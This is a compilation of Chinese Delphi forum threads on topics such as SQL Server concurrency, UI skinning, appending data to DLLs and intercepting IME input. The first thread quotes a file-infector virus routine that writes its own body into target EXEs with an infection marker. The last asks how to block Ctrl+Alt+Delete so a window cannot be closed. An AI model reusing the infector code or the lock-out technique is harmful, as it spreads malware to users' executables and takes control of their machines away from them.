15. 01.
分别给出2个代码
1个:
在某个EXE的最后个字节写入666666
2个
检测某个EXE最后个字节是不是666666
procedure copy(s:string);///S:目标文件完整文件名(带路径的)
var
s1,s2,s3:tmemorystream; //内存流
file1:tfilestream;//文件流
id:integer;
iid:longint;
const
id=$66666666;//感染标识
begin
file1:=tfilestream.Create(s,fmopenread);//将目标文件读入文件流
if file1.Size>1024000 then //如果目标文件大于10M则退出
begin
file1.Free;
close;
end
else
begin
file1.Free;//比较完毕释放文件流
s1:=tmemorystream.Create;//创建内存流
s1.LoadFromFile(paramstr(0));//将病毒自身读入临时内存流
s2:=tmemorystream.Create;
s2.CopyFrom(s1,s1.Size);//将病毒流写入主内存流
s1.Clear;
s3:=tmemorystream.creat;
s3.LoadFromFile(s);//装入目标文件
s3.seek(-4,sofromend);//定位到文件的最后4个字节
s3.read(iid,4);//读取最后4个字节
if iid=id then //判断是否感染
begin
s3.free;//如果感染过了就退出
close;
end
else
begin
s1.loadfromfile(s);//将目标文件装入临时流
s2.Seek(s2.Size,sofrombeginning);//定位到主内存流的尾部
s2.CopyFrom(s1,s1.Size);//写入目标文件到主内存流
s1.Free;
s2.seek(0,sofromend);//定位到尾部
iid:=$66666666;
s2.write(iid,4);//写入感染标识
s2.SaveToFile(s);//将主内存流写入目标文件完成感染
s2.Free;
end;
end;
end;
我只想要其中写入内容
和检测内容的代码
来帮我 提取出来,着里面有着个的代码
我不是弄病毒,我只是想在某个文件上做个标记,
var
s3:tmemorystream;
file1:tfilestream;
iid:longint;
s: string;
const
id=$66666666
读的
s3:=tmemorystream.create;
s3.LoadFromFile(s);
s3.seek(-4,sofromend);
s3.read(iid,4);
if iid=id then
begin
s3.free;
exit;
end;
写的
s3.LoadFromFile(s);
s3.seek(0,sofromend);
iid:=$66666666;
s3.write(iid,4);
s3.SaveToFile(s);
s3.Free;
end;
s是文件的路径
这样对不?
我在EXE里加东西不会导致EXE不能运行把..
对。
试过就知道。
目的是防止别人修改EXE。
如果是防止修改的话,用CRC32做个验证算法安全性更高一点。。。
14. 01.
在adoquery1的结果集里面用adoquery2在查 可行吗
adoquery1.filter 可翠用到 adoquery2 中的值。來做。
filter 用的很少啊 怎么用 直接敲语句的
可以考虑用fliter属性,或在数据库里面再select一次。
那就在
adoquery1.sql.text := 'select * from Table where column = '+Adoquery2.fieldbyname('filedname').asstring
14. 01.
画checkbox做全选用啊
可以,创建一个checkbox控件,然后控制好他的为止,并把它为止置前
比較不好做。如果你這樣做不如用TSTRINGGRID去做,在CELL裏做更適合點。
如果從DBGIRD上做相當麻煩。因為你的數據比較多的話,產生的效果很難滿意。
以我看,checkbox没有必要非得放在dbgrideh标题上
放在上面也好弄
计算好位置,然后放上去,应该就可以了
12. 01.
我原来做的桌面应用,连接的是本机SQLSERVER, 现在想连接服务器上的SQLSERVER,
在连本机应用时,是单机版本,相当于现在要弄成多用户版本,
原来应用login 的时候,即通过连接串连接本机上的SQLSERVER, 然后一直保持adoconnect=true,直到用户推出系统时才断开连接, 这对单机用户来说没有问题;现在如果数据库移到服务器上,多个用户在不同的电脑是打开同样的应用程序,有几个问题没弄太明白:
1. SQLSERVER 最多允许多少用户连接?
2. 原来单机系统login 时连上服务器的SQLSERVER, 不改原来代码,一直保持连接直到退出应用的过程中,其它用户是否还能连接上同一个SQLSERVER?
3. 多用户连接同一个SQLSERVER,原来的SQL查询好象没有问题, 但几个用户同时做录入时,要注意什么问题? (最好给几行代码)
十万火急~~~~~~~~~~~, 十分感谢 ~~~~~~~~~~~“
楼上的老大
SQLSERVER 的锁机制??
是不是原来单机版的新增加修改的代码中就不要改了,怎么我看网上的说要用事物进行插入,修改的操作,才能保证数据的一致性及多用户的并发操作???
楼上的老大;
2.单机与网络应用几乎一样的,只是要优化一下性能。
怎么个优化法?? 譬如说:1,2,3
如果你是用SQLSERVER了,那单机版和网络版就没有什么区别了!一样的使用!代码基本不用改的!
1. SQLSERVER 最多允许多少用户连接?
sqlserver有连接用户数设定。
2. 原来单机系统login 时连上服务器的SQLSERVER, 不改原来代码,一直保持连接直到退出应用的过程中,其它用户是否还能连接上同一个SQLSERVER?
没有问题。
3. 多用户连接同一个SQLSERVER,原来的SQL查询好象没有问题, 但几个用户同时做录入时,要注意什么问题? (最好给几行代码)
并发性,如:如果操作单据的时候注意重复的问题
3. 多用户连接同一个SQLSERVER,原来的SQL查询好象没有问题, 但几个用户同时做录入时,要注意什么问题? (最好给几行代码)
要启用事务,保证数据的完整数
比如:
adoconnection.begintrans;
try
//相关的处理语句
adoconnection.CommitTrans;
except
adoconnection1.RollbackTrans;
end;
1、如果你是用D版的话,都不太需要考虑充许多少用户连接!我试过几十个用户都没有问题!
3、用种子做ID!保存操作员和保存时间!
对于单机版也需要通过事务处理,事务处理不是网络版才需要,系统发生错误是无法事先预知的,所以,在单机版上的多个操作也需要事务来保证数据的完整性。
因为网络版要从服务器上获取数据,要考虑网络带宽对数据传输的影响,和多用户操作对服务器的资源的占用,所以要优化,提高性能。
如果单纯的从单机版向网络版转换,不用改太多代码,为了性能的优化就需要多动脑筋了。
对于单机版也需要通过事务处理,事务处理不是网络版才需要,系统发生错误是无法事先预知的,所以,在单机版上的多个操作也需要事务来保证数据的完整性。
因为网络版要从服务器上获取数据,要考虑网络带宽对数据传输的影响,和多用户操作对服务器的资源的占用,所以要优化,提高性能。
如果单纯的从单机版向网络版转换,不用改太多代码,为了性能的优化就需要多动脑筋了。
1.sqlserver允许的多用户
2.单机与网络应用方法一樣
3.对于多用户同时录入,sqlserver提供隱性的事務機制,不過部分操作比較頻繁的地方,還是要自己去考慮。
主要是多用户操作的时候需要注意了。。。。。。。。。。
把计算机名或地址输入服务器那台电脑的IP,与本地连接没两样
1. SQLSERVER 最多允许多少用户连接?
SQL Server用户数量是可以设置的。一般不用做特殊处理,默认是不限制。但由于每个连接都要消耗服务器内存资源,所以在程序运行时,还是要考虑尽量减少数据连接的数量,以及尽量减少每个连接保持的时间。
具体见SQL企业管理器,在服务器上点右键-属性-连接项中可见。(这个论坛不能贴图吗?奇怪)
另外:个人建议,把AdoConnection的KeepConnect属性设置为False。
“连接应该在需要时发起,在用完后立即释放”,不知楼主能否理解?
2. 原来单机系统login 时连上服务器的SQLSERVER, 不改原来代码,一直保持连接直到退出应用的过程中,其它用户是否还能连接上同一个SQLSERVER?
SQL Server是基于多用户设计的,基本上不存在这方面的担心。
是否一直保持连接,请参照上一问题的解释。
3. 多用户连接同一个SQLSERVER,原来的SQL查询好象没有问题, 但几个用户同时做录入时,要注意什么问题? (最好给几行代码)
SQL Server中,一般的Select语句(所谓的查询语句)都是默认为Share锁,只要没有别人正在使用Update语句更新数据,一般是不会有影响的。如果系统并发用户很多,对查询的响应时间又要求很严格,可以采用“脏读”的处理。
select dd,ee from xxx_table(nolock)
在执行Insert语句时(不知道是不是楼主说的录入?),一般没有区别,代码不太需要修改。
在执行Update语句时(一般是在对已有数据进行编辑、修改,之后做提交。),单表一般都有锁机制处理,不需要有特殊或者显式的语法处理。但如果是多表提交的情况,保证应用系统提交数据表的顺序保持一致,否则容易发生“死锁”。
一般提交是这样写:
In Delphi
use ADO
adqABC.Post; // Table name ABC
adqCDE.Post; // Table name CDE
or
use ClientDataSet
cdsABC.Applyupdates(0);
cdsCDE.Applyupdates(0);
……..
实际产生的SQL
Update ABC Set Field1 = '………………..
Update CDE Set Field2 = '………………..
实际上意思就是,不管在程序的哪个部分有相似的提交处理,都要保持顺序的一致。
楼主所问的问题还不足以解决真正单用户和多用户系统开发需要注意的问题。多看看书吧。
—————————————
老大,还主要要注意些什么? 最主要的东西????????????
11. 01.
非常感谢hongqi162给我推荐的BusinessSkinForm控件,我已经把它成功安装了,但是发现它只能美化窗体(FORM)的边框,这个程序是我前些天做的,里面的BUTTON,EDIT等等都是用的DELPHI自带的。现在希望能找到一种方法,将FORM中的其它控件(包含一些第三方控件)一并美化。
我的DELPHI版本是2009
那就抱成BusinessSkinForm帶的BUTTON吧。呵呵
洪七啊!!!!
红旗~
vclskin 5.10 Full source for Delphi2009
我记得里边好象可以那样设置的
BusinessSkinForm控件包 带很多控件呢!~~包括常用的Button label edit等等 我用过的!~~ 貌似不支持D2009
那是个假的~~我下过了~~安装不上~
安裝提示什麼錯誤,也許是安裝的問題。
可以用vclskin,但要知道,不是所有控件都可以美化,一些第三方控件因为改写了类,所以,皮肤控件无法识别
应该不是,他报缺少一个.PAS文件
11. 01.
您可以通过图形编辑对话框装入图标,按动Load按钮,选择Delphi 2.0ImagesButtonsBrush.bmp文件装入,Bitbtn1就成为一个图标按钮。
TOpenDialog 放上这个控件
在Bitbtn1.click事件中写
if OpenDialog1.Execute then
begin
Image1.Picture.LoadFromFile(OpenDialog1.FileName);
end;
11. 01.
平台:D7,DEV.V38,ADOQ连接方式
主从表显示正常,从表焦点只有第一条记录,不能移动。
在本网站中有个方案:DATACONTROLLER中的GRIDMODE设为TRUE;
试了一下,从表焦点可以移动,但是新问题:从表不滤了,记录全部显示,即:主表任一条记录,从表的记录都是完全一样。
CXGRID的自带的DEMO可以的,我把它的CXGRID控件复制到我的程序中,只改了数据库连接。运行还是不行的。
分数不高,没有多少分了。望高手指点。
需要时,我可以把我的程序发过去,看一下。
如有这方面的程序,也可以发过来。
如果合适,结帐发分。
好難的問題,我試了不行
10. 01.
举个例子如:我想把一个字符串hello,china 动态的保存到dll中,下次调用dll的时候取出来字符串就是hello,china。
不要告诉我没有办法达到,或者说建议保存到ini,注册表。。。。。这类的话
最好有实例代码!
==================================================================================================
重新在开贴提问,上次发帖提问,我会了几个帖子后,csdn竟提示说我回帖太快了,就在也不上我回帖了,不知设置这个功能的时候有没有自己测试过这个功能吗?好用吗?起到了积极的作用还是消极的作用呢?
其实差不多就是之前贴子当中提到的方法.另外还有一个就是使用独立的PE节(Section).其实这样子操作差不多就是给自己找麻烦.
我想了但是没有想明白,不知道如何来具体的做?所以很迷茫哦!你能写个简单例子看看?
退出dll,修改其中的资源供下次调用
还是在dll后面加几个字节存放字符串吧
弄个sqlite3 建个数据库,把数据库文件后缀名起为 dll .哈…….
如何加给写个例子看看?
dll加载后,系统是禁用以写方式打开dll文件的。
估计不能按正道走了。
dll启动就不能被修改删除了吧
可以考虑两个一样的DLL,某次运行A,修改B,下次运行B,修改A
:)
一看这个问题,就想起了老冯。
以前讨论过的。贴子帮楼主找到了,顺便重温一下我自己的无知。^_^
http://topic.csdn.net/t/20061121/12/5173571.html
———————————| Headers |
———————————
———————————
| Section/Segment 1 |
———————————
———————————
| Section/Segment 2 |
———————————
.
. —->正常执行文件格式(PE)
.
———————————
| Section/Segment n |
———————————
———————————
| 自定义的追加数据 | —-> 你的数据
———————————
———————————
| 自定义的数据状态记录(注脚) | —-> (记录文件的原始大小自定义的数据标识)!!
———————————
问题的解决重点就在注脚,它一直是写在文件的最后,
并且记录了原始大小和你的自定义数据的标识。那么
在读取数据和写数据的时候你就去操纵下面这段区域:
现在的文件大小 - 原始的文件大小 -注脚空间
注脚的记录结构是这样:
DataFooter = packed record
FOriginalSize: Integer;
FDataTag: array[0..8] of Char; (定长如:sanmaotuo)具体长度自己设
剩下的就是纯粹的一般文件的读写操作了
========================
好好研究一下!
安装JCL-JVCL,里面有控件+例子,不过它好象不是DLL,直接就是EXE样子
10. 01.
我现在已经通过immgetcompositionstring获得输入法的文字
现在要怎么修改输入法上屏后的文字呢? 就像火星输入法那样
用了immsetcompositionstring 函数 也修改不了 返回0
谢谢
不明白楼主的需求。火星输入法没有用过。
没明白你说的什么意思!~
就是说 比如用输入法在记事本输入"我们"两字,现在我想把 "我们" 换成 "CSDN",
就这样的效果啊
这个很容易的嘛!
修改你要处理的那个文本框的窗口过程,然后窗口过程中处理
窗口过程中截获
WM_IME_STARTCOMPOSITION
WM_IME_ENDCOMPOSITION
WM_IME_CHAR等消息处理一下就可
不明白。。。。
我现在通过WM_IME_CHAR 可以截获输入的中文字符,但我不知道怎么修改这中文字符,
用
windowhld:=GetForegroundWindow;
threadld:=GetWindowThreadProcessId(windowhld,nil);
AttachThreadInput(GetCurrentThreadId,threadld,true);
focushld:=getfocus;
AttachThreadInput(GetCurrentThreadId,focushld,false);
if focushld = 0 then Exit;
SendMessage(focushld, WM_IME_CHAR,ord('g') , 0);
的话 只是在输入的中文字符"我们" 前面加'g'
要怎么把"我们" 换成 "CSDN" 呢?
是修改 消息缓冲区 lpdwTransKey 吗
hello 怎么没人啊
10. 01.
我想编个小程序,我已经设置好是全屏显示,程序目的是主要输入内容是正确就可以退出全屏,否则的话,即使按热键ctrl+alt+delete 也无法关掉这个窗口。我应该这样设置好呢?
帮顶!
把窗口BringToTop,好像其它窗口都被挡住了
先屏蔽系统热键 输入正确后解除屏蔽
具体请搜索 屏蔽系统热键
搜索的屏蔽系统热键的代码 不是很看的明白 而且和我上面要求有不相同,请教一下 举个例子好让我理解 谢啦